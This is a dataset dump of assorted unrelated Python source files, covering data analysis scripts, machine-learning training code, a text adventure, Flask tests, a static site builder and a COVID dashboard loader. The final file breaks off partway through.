group[\"pounds_per_assist\"] = group[\"transfer_fee_pounds_int\"]/group[\"assists\"]\n group[\"pounds_per_goal\"].plot(kind=\"barh\")\n plt.title(\"Pounds Spent per Goal \"+str(self.year))\n print(\"close image to continue\")\n if save=='y':\n plt.savefig('pounds_per_goal_'+str(self.year)+'.pdf')\n plt.show()\n group[\"pounds_per_assist\"].plot(kind=\"barh\")\n plt.title(\"Pounds Spent per Assist \"+str(self.year))\n print(\"close image to continue\")\n if save=='y':\n plt.savefig('pounds_per_assist_'+str(self.year)+'.pdf')\n plt.show()\n ","sub_path":"ps3336/yeartool.py","file_name":"yeartool.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"8752639","text":"import os\nfrom collections import Counter\n\nimport pandas as pd\n\ndatapath = \"G:\\\\Dev\\\\Data\\\\mibig_gnps_links_q1.csv\"\nmibig_family_path = \"G:\\\\Dev\\\\Data\\\\mibig_family\\\\gene_family.txt\"\ngnps_family_path = \"G:\\\\Dev\\\\Data\\\\gnps_family.txt\"\ngnps_5770_datapath = \"G:\\\\Dev\\\\Data\\\\1000\\\\GNPS Python Master\\\\Final Fingerprints.txt\"\ngnps_datapath = \"G:\\\\Dev\\\\Data\\\\Fingerprint Bitmaps 2\\\\Mega big GNPS Final Fingerprints.txt\"\nmibig_datapath = \"G:\\\\Dev\\\\Data\\\\Fingerprint Bitmaps 2\\\\mibig_unique_smiles.txt\"\nfiltered_mibig_path = \"G:\\\\Dev\\\\Data\\\\Filtered Mibig GNPS Links\\\\Filtered Mibig Fingerprints.tsv\"\nfiltered_gnps_path = \"G:\\\\Dev\\\\Data\\\\Filtered Mibig GNPS Links\\\\Filtered GNPS Fingerprints.tsv\"\nreverse_filtered_gnps_path = \"G:\\\\Dev\\\\Data\\\\Filtered Mibig GNPS Links\\\\Reverse Filtered GNPS Fingerprints.tsv\"\nreverse_filtered_mibig_path = \"G:\\\\Dev\\\\Data\\\\Filtered Mibig GNPS Links\\\\Reverse Filtered Mibig Fingerprints.tsv\"\nmissing_gnps_path = \"G:\\\\Dev\\\\Data\\\\Filtered Mibig GNPS Links\\\\Missing ALL GNPS.tsv\"\nlinked_gnps_path = \"G:\\\\Dev\\\\Data\\\\Linked GNPS Fingerprints.tsv\"\ngnps_need_fragments_path = \"G:\\\\Dev\\\\Data\\\\Missing Fragments GNPS.txt\"\n\ngnps_family = {}\nmibig_family = {}\nfamily_count = {}\nmibig_gnps_dict = {}\nfamilies = [\"Alkaloid\", \"NRP\", \"Terpene\", \"RiPP\", \"Nucleoside\", \"Saccharide\", \"Polyketide\", \"Other\"]\n\nfor family in families:\n family_count[family] = 0\n\nwith open(mibig_family_path, 'r') as f:\n for line in f:\n mibig_id, family = line.split(\" \")\n mibig_family[mibig_id] = families.index(family[:-1])\n\nmibig_df = pd.read_csv(mibig_datapath, sep=\" \", header=None, names=[\"mibig_id\", \"substructure_index\", \"value\"])\ngnps_5770_df = pd.read_csv(gnps_5770_datapath, sep=\" \", header=None, names=[\"gnps_id\", \"substructure_index\", \"value\"])\ngnps_df = pd.read_csv(gnps_datapath, sep=\" \", header=None, names=[\"gnps_id\", \"substructure_index\", \"value\"])\n\nmissing_gnps_df = gnps_5770_df[~gnps_5770_df['gnps_id'].isin(gnps_df['gnps_id'])]\n\ngnps_df = gnps_df.drop_duplicates(subset=['gnps_id', 'substructure_index'])\n\n# mibig_df['mibig_id'] = mibig_df['mibig_id'].str[:10]\n\nmibig_gnps_df = pd.read_csv(datapath, sep=\",\")\n\nfiltered_gnps_df = gnps_df[~gnps_df['gnps_id'].isin(mibig_gnps_df['gnps_id'])]\nfiltered_mibig_df = mibig_df[~mibig_df['mibig_id'].str[:10].isin(mibig_gnps_df['#mibig_id'])]\nreverse_filtered_gnps_df = mibig_gnps_df[~mibig_gnps_df['gnps_id'].isin(gnps_df['gnps_id'])]\nreverse_filtered_mibig_df = mibig_gnps_df[~mibig_gnps_df['#mibig_id'].isin(mibig_df['mibig_id'])]\n\nfiltered_gnps_df.to_csv(filtered_gnps_path, sep='\\t', index=False)\nfiltered_mibig_df.to_csv(filtered_mibig_path, sep='\\t', index=False)\nreverse_filtered_gnps_df.to_csv(reverse_filtered_gnps_path, sep='\\t', index=False)\nreverse_filtered_mibig_df.to_csv(reverse_filtered_mibig_path, sep='\\t', index=False)\nmissing_gnps_df.to_csv(missing_gnps_path, sep='\\t', index=False)\n\nlinked_gnps_df = gnps_df[gnps_df['gnps_id'].isin(mibig_gnps_df['gnps_id'])]\ngnps_need_fragments_df = linked_gnps_df[~linked_gnps_df['gnps_id'].isin(gnps_5770_df['gnps_id'])]\ngnps_need_fragments_df = gnps_need_fragments_df.drop_duplicates(subset=['gnps_id'])\n\ngnps_need_fragments_df.to_csv(gnps_need_fragments_path, sep=' ', index=False)\nlinked_gnps_df.to_csv(linked_gnps_path, sep='\\t', index=False)\n\nfor index, row in mibig_gnps_df.iterrows():\n if row[\"gnps_id\"] not in mibig_gnps_dict:\n mibig_gnps_dict[row[\"gnps_id\"]] = []\n mibig_gnps_dict[row[\"gnps_id\"]].append(row[\"#mibig_id\"])\n\nlinked_gnps_df = linked_gnps_df.drop_duplicates(subset=['gnps_id'])\n\nwith open(gnps_family_path, 'w') as f:\n for index, row in linked_gnps_df.iterrows():\n for mibig_id in mibig_gnps_dict[row[\"gnps_id\"]]:\n family_count[families[mibig_family[mibig_id]]] += 1\n f.write(row[\"gnps_id\"] + \" \" + str(mibig_family[mibig_id]) + \" 1\\n\")\n\nprint(family_count)\n# mega_list = []\n# for gnps_id, families in gnps_family.items():\n# mega_list.extend(families)\n# c = Counter(mega_list)\n#\n# print(c)\n#\n# with open(gnps_family_path, 'w') as f:\n# for gnps_id, families in gnps_family.items():\n# for family in families:\n# f.write(gnps_id + \" \" + str(family) + \" 1\\n\")\n# print(len(gnps_family))","sub_path":"Code/Python/mibig_gnps_links_extractor.py","file_name":"mibig_gnps_links_extractor.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"386430062","text":"import time\nimport os\nfrom options.test_options import TestOptions\nfrom data import CreateDataLoader\nfrom models import create_model\nfrom util import html\n\nfrom PIL import Image, ImageFilter\nimport torchvision.transforms as transforms\nimport torch\nimport os.path\nimport util.util as util\n\ndef make_dataset(dir):\n return os.listdir(dir)\n\nopt = TestOptions().parse()\nopt.nThreads = 1 # test code only supports nThreads = 1\nopt.batchSize = 1 # test code only supports batchSize = 1\nopt.serial_batches = True # no shuffle\nopt.no_flip = True # no flip\n\n\nAtoB = opt.which_direction == 'AtoB'\nif AtoB:\n dir_A = os.path.join(opt.dataroot, opt.phase + 'A')\n A_paths = make_dataset(dir_A)\n A_paths = sorted(A_paths)\nelse:\n dir_A = os.path.join(opt.dataroot, opt.phase + 'B')\n A_paths = make_dataset(dir_A)\n A_paths = sorted(A_paths)\n\nTensor = torch.cuda.FloatTensor if opt.gpu_ids else torch.Tensor\ninput_A = Tensor(opt.batchSize, opt.input_nc,\n opt.fineSize, opt.fineSize)\n\ntransform_list = [transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5),\n (0.5, 0.5, 0.5))]\n\ntransform = transforms.Compose(transform_list)\nfineSize = opt.fineSize\n# test\nc = 0\nb = 0\nfor ii in range(1):\n if b >= len(A_paths):\n break\n for i in range(len(A_paths)):\n b = b + 1\n if i + c >= len(A_paths):\n break\n if b >= len(A_paths):\n break\n data = os.path.join(opt.dataroot, opt.phase + 'A', A_paths[i + c])\n A = Image.open(data).convert('RGB')\n w, h = A.size\n A = A.resize((w*fineSize//h, fineSize), Image.LANCZOS)\n newImg = Image.new('RGB',(w*fineSize//h, fineSize), (0,0,0))\n\n w_a = w // fineSize\n h_a = h // fineSize\n w_b = w % fineSize\n h_b = h % fineSize\n if w_b:\n w_a = w_a + 1\n if h_b:\n h_a = h_a + 1\n for j in range(w_a):\n for k in range(h_a):\n a = A.crop((fineSize*j, fineSize*k, fineSize*j + fineSize, fineSize*k + fineSize))\n a = transform(a)\n input_A.resize_(input_A.size()).copy_(a)\n print(a)\n exit(1)\n\n c = b\n","sub_path":"test_pix_2.py","file_name":"test_pix_2.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"74462729","text":"class State:\n pass\nstate = State()\n\nclass Room:\n def __init__(self, name):\n self.name = self.description = name\n self.exits = {}\n self.items = []\n\nclass Item:\n def __init__(self, name):\n self.name = self.description = name\n\nhallway = Room(\"The hallway\")\nliving_room = Room(\"The living room\")\ngarden = Room(\"The garden\")\nkitchen = Room(\"The kitchen\")\n\nball = Item(\"A ball\")\nsword = Item(\"A sword\")\n\nhallway.exits['E'] = living_room\nliving_room.exits['W'] = hallway\n\nhallway.exits['W'] = kitchen\nkitchen.exits['E'] = hallway\n\nkitchen.exits['N'] = garden\ngarden.exits['S'] = kitchen\n\nstate.location = hallway\nstate.items = []\n\nwhile True:\n print(\"You are in\", state.location.name)\n instruction = input(\"What now? \")\n verb, noun = instruction.upper().split()\n\n if verb == \"GO\":\n direction = noun[0]\n if direction in state.location.exits:\n state.location = state.location.exits[direction]\n else:\n print(\"There is no exit to the\", noun)\n else:\n print(\"I don't know how to\", verb)\n","sub_path":"adventure_tim.py","file_name":"adventure_tim.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"123771854","text":"from __future__ import division\nfrom matplotlib.image import imread\nimport keras\nimport numpy as np\nimport os\nfrom utils import HistoryCheckpoint\nfrom keras import callbacks, backend\nfrom keras.utils import np_utils\nfrom keras.models import Sequential, Model, load_model\nfrom keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Flatten, Dropout\nfrom keras.preprocessing.image import ImageDataGenerator\n\nbackend.clear_session()\nprint('Using Keras version', keras.__version__)\n\nimg_size = 128\nn_batch_size = 32\nn_epochs = 150\nn_base_img = 3000\nn_test_img = 3033\nn_validation_img = 900\ninput_shape = (img_size, img_size, 3)\nold_model_path = 'models3/model-250-10.54.hdf5'\n\nmodel_path = 'models-re3/model-{epoch:02d}-{val_loss:.2f}.hdf5'\nif not os.path.exists('models-re3'):\n os.makedirs('models-re3')\nhistory_path = 'history-re3/model-{epoch}.json'\nif not os.path.exists('history-re3'):\n os.makedirs('history-re3')\ndump_period = 25\nsave_model_callback = callbacks.ModelCheckpoint(model_path, period=dump_period)\nsave_history_callback = HistoryCheckpoint(history_path, period=dump_period)\n\ntrain_datagen = ImageDataGenerator(\n rescale=1./255,\n width_shift_range=0.1,\n height_shift_range=0.1,\n shear_range=0.1,\n zoom_range=0.1,\n horizontal_flip=True,\n fill_mode='constant',\n cval=0)\n\ntrain_generator = train_datagen.flow_from_directory(\n 'train',\n target_size=(img_size, img_size),\n batch_size=n_batch_size,\n class_mode='categorical')\n\ntest_datagen = ImageDataGenerator(\n rescale=1./255,\n fill_mode='constant',\n cval=0)\n\nvalidation_generator = test_datagen.flow_from_directory(\n 'test',\n target_size=(img_size, img_size),\n batch_size=n_batch_size,\n class_mode='categorical')\n\nnn = load_model(old_model_path)\n\nnn.fit_generator(\n train_generator,\n steps_per_epoch=n_base_img//n_batch_size,\n epochs=n_epochs,\n validation_data=validation_generator,\n validation_steps=n_validation_img//n_batch_size,\n callbacks=[save_model_callback, save_history_callback])","sub_path":"8b/rebirds3.py","file_name":"rebirds3.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"608599675","text":"from __future__ import print_function\nfrom matplotlib.patches import Polygon\nfrom prettyplotlib import plt\nimport prettyplotlib as ppl\nimport numpy as np\nimport os\nimport math\nimport argparse\nfrom prettyplotlib import mpl\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f','--filename',default='filename')\nparser.add_argument('-o','--output',default='output')\nopt = parser.parse_args()\n\nfilename = opt.filename\n\ndata = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]]\n\nlines = [line.strip() for line in open(filename)]\nlocat = 0\nfor l in lines:\n if l == '':\n print(\"ignore empty\")\n else:\n if l == 'END':\n locat+=1\n print(\"increasing\")\n else:\n n = l.split(' ')\n #print(n)\n value = float(n[0]) #proliferation\n value_mut = float(n[1])\n count = int(n[2])\n group = n[2]\n if value < 1:\n for x in range(count):\n data[locat].append(value)\n \n\nprint(\"data\")\nfor i in data:\n print(i[:10])\nprint(\"data\")\n\n#np.random.seed(10)\n\n#data = np.random.randn(8, 4)\n\nu_labels = ['1e-7 mid','1e-7 end','1e-6 mid','1e-6 end','1e-5 mid','1e-5 end','1e-4 mid','1e-4 end','0.001 mid','0.001 end','0.005 mid','0.005 end','0.01 mid','0.01 end',\\\n '0.05 mid', '0.05 end','0.1 mid','0.1 end']\n\nfig, ax = plt.subplots()\n\nax.set_xticklabels(u_labels)\nax.set_xticks(u_labels)\nax.set_xlabel('Initial Mutation Rates',fontsize=9)\nax.set_ylabel('End Proliferation Rates',fontsize=9)\ni = 0\nprint(ax.get_xticklabels())\nppl.boxplot(ax, data) #,xticklabels=u_labels)\nplt.title(\"Distribution of End Proliferation Rates by Initial Mutation Rate\",fontsize=9)\nfig.savefig(opt.output+'_boxplot.png')\nprint(opt.output+\"DONE\")\n#ppl.hist(ax,data)\n#fig.savefig('histogram_prettyplotlib_default.png')\n","sub_path":"homogeneous_misc/distribution_mut.py","file_name":"distribution_mut.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"206264542","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 13 15:14:18 2015\n\n@author: TeachingLab\n\"\"\"\n\nimport numpy as np\nimport scipy.signal as signal\nimport matplotlib.pyplot as plt\n\nfilename = 'C:/Users/TeachingLab/Dropbox/_Daily Course Materials/Day 2 (13-07-2015)/Example_Data/Text Files/example_1D_data.csv'\n\ndata = np.loadtxt(filename) #loads text file, separated by commas\n\nmaxima_locations = signal.argrelextrema(data, np.greater_equal, order= 10)[0] #[]signifies the key of these array\n\nplt.plot(data)\nplt.plot(maxima_locations, data[maxima_locations], 'r+') #marks the maxima with a red plus\n\n# Only accept maxima that occur after a minimum time from the previous maxima \ntime_since_prev_maxima = np.diff(maxima_locations) \n \n# Since the first maxima is excluded by the \"diff\" function, use its idx \n# as the time since previous maxima (since start of recording) and insert it \n# at the start of the array of maxima times \ntime_since_prev_maxima = np.insert(time_since_prev_maxima, 0, \nmaxima_locations[0]) \n \n# Remove maxima that come too soon \ntime_threshold = 70 \ngood_maxima = time_since_prev_maxima > time_threshold \n# This creates a boolean array: True = maxima is OK, False = it comes too soon \n \n# Reset list of maxima to only those deemed \"good\" \nmaxima_locations = maxima_locations[good_maxima] \n \n# Plot the data in a graph, mark the peaks with green 'diamond' symbols \nplt.plot(maxima_locations, data[maxima_locations], 'gd') \n\n\ninter_peak_time = np.diff(maxima_locations)\n\nplt.figure()\nplt.plot(inter_peak_time, 'bo')","sub_path":"LearningPython/Exercise 2.1.2.py","file_name":"Exercise 2.1.2.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"529300340","text":"import pytest\r\nfrom lbrc_flask.pytest.asserts import assert__requires_login\r\nfrom flask import url_for\r\nfrom lbrc_flask.pytest.helpers import login\r\nfrom identity.model.blinding import (\r\n Blinding,\r\n)\r\nfrom lbrc_flask.database import db\r\n\r\n\r\ndef _url(study_id, external=True):\r\n return url_for('ui.blinding', id=study_id, _external=external)\r\n\r\n\r\ndef _blinding_post(client, study, unblind_id):\r\n return client.post(\r\n _url(study_id=study.id, external=False),\r\n data={\r\n 'id': unblind_id,\r\n },\r\n follow_redirects=True,\r\n )\r\n\r\n\r\ndef _assert__blinding(study, resp):\r\n for bt in study.blinding_types:\r\n assert (\r\n Blinding.query\r\n .filter_by(blinding_type_id=bt.id)\r\n .filter_by(unblind_id='hello')\r\n .count()\r\n ) == 1\r\n b = (\r\n Blinding.query\r\n .filter_by(blinding_type_id=bt.id)\r\n .filter_by(unblind_id='hello')\r\n .first()\r\n )\r\n assert b is not None\r\n dt = resp.soup.find(\"dt\", string=bt.name)\r\n assert dt is not None\r\n dd = dt.find_next_sibling(\"dd\")\r\n assert dd.string == b.pseudo_random_id.full_code\r\n\r\n\r\ndef test_url_requires_login_post(client, faker):\r\n s = faker.get_test_study()\r\n print('*'*100)\r\n print(_url(study_id=s.id, external=False))\r\n print('*'*100)\r\n assert__requires_login(client, _url(study_id=s.id, external=False), post=True)\r\n\r\n@pytest.mark.parametrize(\r\n \"count\", [1, 2, 10],\r\n)\r\ndef test__ui_blinding__blinding(client, faker, count):\r\n user = login(client, faker)\r\n\r\n s = faker.get_test_study(owner=user)\r\n\r\n for _ in range(count):\r\n faker.get_test_blinding_type(study=s)\r\n\r\n resp = _blinding_post(client, s, 'hello')\r\n\r\n assert resp.status_code == 200\r\n\r\n _assert__blinding(s, resp)\r\n\r\n\r\ndef test__ui_blinding__existing(client, faker):\r\n user = login(client, faker)\r\n\r\n b = faker.get_test_blinding_with_owner(owner=user)\r\n\r\n resp = _blinding_post(client, b.blinding_type.study, b.unblind_id)\r\n\r\n assert resp.status_code == 200\r\n\r\n assert Blinding.query.filter_by(\r\n blinding_type_id=b.blinding_type.id\r\n ).filter_by(\r\n unblind_id=b.unblind_id\r\n ).filter_by(\r\n pseudo_random_id_id=b.pseudo_random_id.id\r\n ).count() == 1\r\n\r\n dt = resp.soup.find(\"dt\", string=b.blinding_type.name)\r\n assert dt is not None\r\n dd = dt.find_next_sibling(\"dd\")\r\n assert dd.string == b.pseudo_random_id.full_code\r\n\r\n\r\ndef test__ui_blinding__not_owner(client, faker):\r\n user = login(client, faker)\r\n owner = faker.get_test_user()\r\n\r\n s = faker.get_test_study(owner=owner)\r\n\r\n faker.get_test_blinding_type(study=s)\r\n\r\n resp = _blinding_post(client, s, 'hello')\r\n\r\n assert resp.status_code == 403\r\n","sub_path":"tests/blinding/test__blinding__ui.py","file_name":"test__blinding__ui.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"434258325","text":"def agrupa_por_idade(dic_dados):\n nomes=list(dic_dados.keys())\n idades=list(dic_dados.values())\n crianca=[]\n adolescente=[]\n adulto=[]\n idoso=[]\n for i in range(len(nomes)):\n if idades[i]<=11:\n crianca.append(nomes[i])\n elif idades[i]<=17:\n adolescente.append(nomes[i])\n elif idades[i]<=59:\n adulto.append(nomes[i])\n else:\n idoso.append(nomes[i])\n \n faixas={\"criança\":crianca,\"adolescente\":adolescente,\"adulto\":adulto,\"idoso\":idoso}\n return faixas","sub_path":"backup/user_325/ch153_2020_04_13_20_24_37_973912.py","file_name":"ch153_2020_04_13_20_24_37_973912.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"628263739","text":"import tensorflow as tf\nfrom keras_callbacks.ProgressBarCallback import ProgressBarCallback\nfrom keras.preprocessing.image import ImageDataGenerator\nimport math\nfrom keras.utils import multi_gpu_model\nfrom keras.callbacks import EarlyStopping, LearningRateScheduler, ModelCheckpoint\nfrom keras_datareaders.ClassificationReader import ClassificationReader\nfrom keras_models.cifar import resnet_V1\n\nimport keras.backend as K\nfrom keras.losses import categorical_crossentropy\nfrom keras.optimizers import SGD\nfrom keras.utils import to_categorical\n\nGPU_NUM = 2\nEPOCH_NUM = 100\n\ndef lr_schedule(epoch):\n initial_lrate = 0.01\n drop = 0.5\n epochs_drop = 10.0\n lrate = initial_lrate * math.pow(drop,math.floor((1+epoch)/epochs_drop))\n return lrate\n\nsession = tf.Session(config=tf.ConfigProto(allow_soft_placement=True))\nK.set_session(session)\n\nn = 3\ndepth = n * 6 + 2\nmodel = resnet_V1(depth=depth)\nif GPU_NUM >= 2:\n model = multi_gpu_model(model, gpus=GPU_NUM)\n\nmodel.compile(loss=categorical_crossentropy,\n optimizer=SGD(lr=0.0, momentum=0.9, nesterov=True),\n metrics=['acc'])\n\ntrain_dataGen = ImageDataGenerator(\n rescale=1./255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\ntrain_generator = train_dataGen.flow_from_directory(directory=\"../data/cifar10/train\", target_size=(32,32), batch_size=100,\n class_mode='categorical')\nprobar = ProgressBarCallback()\nes = EarlyStopping(monitor='val_acc', patience=EPOCH_NUM)\ncheckpoint = ModelCheckpoint(filepath=\"cifar10_alexnet.h5\", save_best_only=True, save_weights_only=True)\nlrate = LearningRateScheduler(lr_schedule)\n\nreader = ClassificationReader()\nx_test, y_test = reader.readData(phrase=\"test\")\ny_test = to_categorical(y_test, num_classes=10)\n\nmodel.fit_generator(generator=train_generator, steps_per_epoch=50000/100,\n epochs=EPOCH_NUM, verbose=0,\n validation_data=(x_test, y_test),validation_steps=10000/100,\n callbacks=[probar,es,checkpoint, lrate])\n\n# scores = model.evaluate(x_test, y_test, verbose=1, steps=EPOCH_NUM)\n# print('Test loss:', scores[0])\n# print('Test accuracy:', scores[1])\n\n","sub_path":"02.01.object_classification/cifar10_resnet_v1.py","file_name":"cifar10_resnet_v1.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"631158203","text":"import glob\nimport os\n\n# Base template: Consists of header and footer for pages (static)\ntemplate_base = open('./templates/base.html').read()\n\noutput_dir = './docs/'\n\npages = []\n\n# Page Types List\npage_types = [\n {\n 'page_name': 'index',\n 'carousel': {\n 'carousel_header': 'WHO AM I',\n 'carousel_desc': 'Husband - Father - Gentleman'\n }\n },\n {\n 'page_name': 'resume',\n 'carousel': {\n 'carousel_header': 'MY WORK',\n 'carousel_desc': 'Dedicated - Hard - Smart'\n }\n },\n {\n 'page_name': 'blog',\n 'carousel': {\n 'carousel_header': 'MY THOUGHTS',\n 'carousel_desc': 'Fun - Interesting - Perspective'\n }\n }\n]\n# page_types = ['index', 'resume', 'blog']\n#\n# carousel_language = {\n# 'index': {'carousel_header_index': 'WHO AM I','carousel_descr_index': 'Husband - Father - Gentleman'\n# },\n# 'resume': {'carousel_header_resume': 'MY WORK','carousel_descr_resume': 'Dedicated - Hard - Smart'\n# },\n# 'blog': {'carousel_header_blog': 'MY THOUGHTS','carousel_descr_blog': 'Fun - Interesting - Perspective'\n# },\n# }\n\n\n# # Page list - Includes list of different content per page, url, title & control settings\n# pages = [\n# {\n# 'filename': './content/index.html',\n# 'output': './docs/index.html',\n# 'title': 'About Me',\n# 'page': 'index',\n# 'navbar': [\n# {'navbar_index_action': ' disabled'},\n# {'navbar_resume_action': ''},\n# {'navbar_blog_action': ''}\n# ],\n# 'carousel': [\n# {'carousel_index_action': ' active'},\n# {'carousel_resume_action': ''},\n# {'carousel_blog_action': ''}\n# ],\n# 'carousel_link': [\n# {'carousel_link_index_action': '#bottom'},\n# {'carousel_link_resume_action': './resume.html'},\n# {'carousel_link_blog_action': './blog.html'}\n# ],\n# 'carousel_link_verbiage': [\n# {'carousel_link_verbiage_index_action': 'Show Me More'},\n# {'carousel_link_verbiage_resume_action': 'Show Me'},\n# {'carousel_link_verbiage_blog_action': 'Show Me'}\n# ]\n# },\n# {\n# 'filename': './content/resume.html',\n# 'output': './docs/resume.html',\n# 'title': 'My Resume',\n# 'page': 'resume',\n# 'navbar': [\n# {'navbar_index_action': ''},\n# {'navbar_resume_action': ' disabled'},\n# {'navbar_blog_action': ''}\n# ],\n# 'carousel': [\n# {'carousel_index_action': ''},\n# {'carousel_resume_action': ' active'},\n# {'carousel_blog_action': ''}\n# ],\n# 'carousel_link': [\n# {'carousel_link_index_action': './index.html'},\n# {'carousel_link_resume_action': '#bottom'},\n# {'carousel_link_blog_action': './blog.html'}\n# ],\n# 'carousel_link_verbiage': [\n# {'carousel_link_verbiage_index_action': 'Show Me'},\n# {'carousel_link_verbiage_resume_action': 'Show Me More'},\n# {'carousel_link_verbiage_blog_action': 'Show Me'}\n# ]\n# },\n# {\n# 'filename': './content/blog.html',\n# 'output': './docs/blog.html',\n# 'title': 'My Blog',\n# 'page': 'blog',\n# 'navbar': [\n# {'navbar_index_action': ''},\n# {'navbar_resume_action': ''},\n# {'navbar_blog_action': ' disabled'}\n# ],\n# 'carousel': [\n# {'carousel_index_action': ''},\n# {'carousel_resume_action': ''},\n# {'carousel_blog_action': ' active'}\n# ],\n# 'carousel_link': [\n# {'carousel_link_index_action': './index.html'},\n# {'carousel_link_resume_action': './resume.html'},\n# {'carousel_link_blog_action': '#bottom'}\n# ],\n# 'carousel_link_verbiage': [\n# {'carousel_link_verbiage_index_action': 'Show Me'},\n# {'carousel_link_verbiage_resume_action': 'Show Me'},\n# {'carousel_link_verbiage_blog_action': 'Show Me More'}\n# ]\n# }\n# ]\n\n# Control Type List\ncontrol_types = ['navbar', 'carousel', 'carousel_link', 'carousel_link_verbiage']\n\n# Main method: Cycles through different page in pages list\ndef main():\n\n # build_page()\n\n create_pages_dict()\n # print(pages)\n\n # for page in pages:\n # create_page(page)\n # print('Pages Built Successfully!!!!')\n\ndef build_page(page_dict):\n from jinja2 import Template\n content_html = open(page_dict['filename']).read()\n template_html = open(\"./templates/base.html\").read()\n template = Template(template_html)\n html_result = template.render(\n title=page_dict['title'],\n page=page_dict['page'],\n pages=page_types,\n navbar_active=' disabled',\n carousel_active=' active',\n non_active='',\n bottom_link='#bottom',\n content=content_html,\n )\n open(page_dict['output'], 'w+').write(html_result)\n\ndef create_pages_dict():\n all_html_files = glob.glob(\"./content/*.html\")\n for file_path in all_html_files:\n file_dict = {}\n file_dict['filename'] = file_path\n # print(file_dict['filename'])\n file_name = os.path.basename(file_path)\n name_only, extension = os.path.splitext(file_name)\n file_dict['output'] = output_dir + file_name\n file_dict['title'] = name_only\n # if name_only == 'index':\n # file_dict['title'] = 'About Me'\n # else:\n # file_dict['title'] = 'My ' + name_only\n file_dict['page'] = name_only\n build_page(file_dict)\n\n# Method: creates actual page; param: dict for specific page\ndef create_page(page_dict):\n open(page_dict['output'], 'w+').write(assemble_page(page_dict))\n\n# Method: combines base and content template; param: content html code\ndef assemble_page(page_dict):\n template_middle = open(page_dict['filename']).read()\n complete_html = template_base.replace(\"{{content}}\", template_middle)\n complete_html = complete_html.replace(\"{{title}}\", page_dict['title'])\n for control_type in control_types:\n complete_html = set_control_properties(page_dict, complete_html, control_type)\n return complete_html\n\n# Method: sets class properties for each control in the Control Type List\n# for each page in Page Types List\ndef set_control_properties(page_dict, complete_html, control_type):\n navbar_lists = page_dict[control_type]\n for page_type in page_types:\n dict_key_value = control_type + '_' + page_type + '_action'\n new_replace = '{{' + dict_key_value + '}}'\n for dict_item in navbar_lists:\n if dict_key_value in dict_item:\n complete_html = complete_html.replace(new_replace, dict_item[dict_key_value])\n return complete_html\n\nmain()\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":6920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"473031658","text":"\"\"\"\nNaam: Jens Bouman\nStudentennummer: 1719865\nKlas: V2C\nDocent: Frits Dannenberg\n\nThis calculates the power of a trough repeatedly quadrating\n\nParameter\n------\nbase: int\nbase number\n\npower: int\ngiven power\n\nReturn\n------\nreturnValue: int\nreturnValue is calculated as a^n\n\"\"\"\ndef machtv3(base, power, printCalculations = False):\n assert isinstance(power, int)\n assert isinstance(base, int)\n assert isinstance(printCalculations, bool)\n assert power > 0\n\n returnValue = 1\n calculations = 0\n while power > 0:\n if power % 2 == 0:\n power = power // 2\n base = base * base\n calculations += 1\n else:\n power -= 1\n returnValue *= base\n\n if printCalculations:\n print(calculations)\n\n return returnValue\n\nresult = machtv3(2, 11, True) #3 calculations\nprint(result) #2048\n\nresult = machtv3(2, 10000, True) #13 calculations\nprint(result) #A lot\n","sub_path":"2.1.py","file_name":"2.1.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"70117962","text":"from datetime import date\nimport dash # v 1.16.2\nimport dash_core_components as dcc # v 1.12.1\nimport dash_bootstrap_components as dbc # v 0.10.3\nimport dash_html_components as html # v 1.1.1\nimport pandas as pd\nimport plotly.express as px # plotly v 4.7.1\nimport plotly.graph_objects as go\nimport numpy as np\nfrom plotly.subplots import make_subplots\n\n\nexternal_stylesheets = [dbc.themes.DARKLY]\napp = dash.Dash(__name__, title='Interactive Covid-19 Dashboard', external_stylesheets=[external_stylesheets])\n\ndf = pd.read_csv('Data/owid-covid-data.csv') #LOAD DATASET\n\ndf['continent'] = df['continent'].replace(np.nan, 'World', regex=True) #REPLACE LABELS WITHOUT CONTINENT\n\n#replace new_deaths empty with the mean of that date\nnew_cases0 = np.where(pd.isnull(df['new_deaths']))[0]\nfor i in new_cases0:\n date_query = str(df['date'].loc[i])\n query = df.query(\"date == @date_query\")\n df['new_deaths'].loc[i] = query['new_deaths'].mean()\n\nnew_cases0 = np.where(pd.isnull(df['new_deaths']))[0] # Remove rows from 2020-01-01 to 2020-01-21\ndf = df.drop(new_cases0)\ndf = df.drop(np.where(pd.isnull(df['population']))[0]) # Remove international rows\n# REMOVE NaN replace it with 0\ndf['total_deaths'].replace(np.nan, 0, regex=True)\ndf['total_cases'].replace(np.nan, 0, 